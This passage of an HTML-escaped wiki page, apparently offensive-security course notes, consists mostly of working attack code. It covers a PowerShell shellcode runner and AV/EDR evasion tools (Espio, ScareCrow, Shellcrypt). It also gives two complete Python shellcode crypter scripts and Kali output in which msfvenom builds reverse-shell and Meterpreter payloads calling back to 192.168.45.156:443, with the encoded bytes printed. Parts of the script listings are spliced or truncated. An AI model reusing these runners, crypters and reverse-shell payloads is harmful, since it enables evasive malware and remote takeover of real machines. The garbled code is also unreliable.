    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
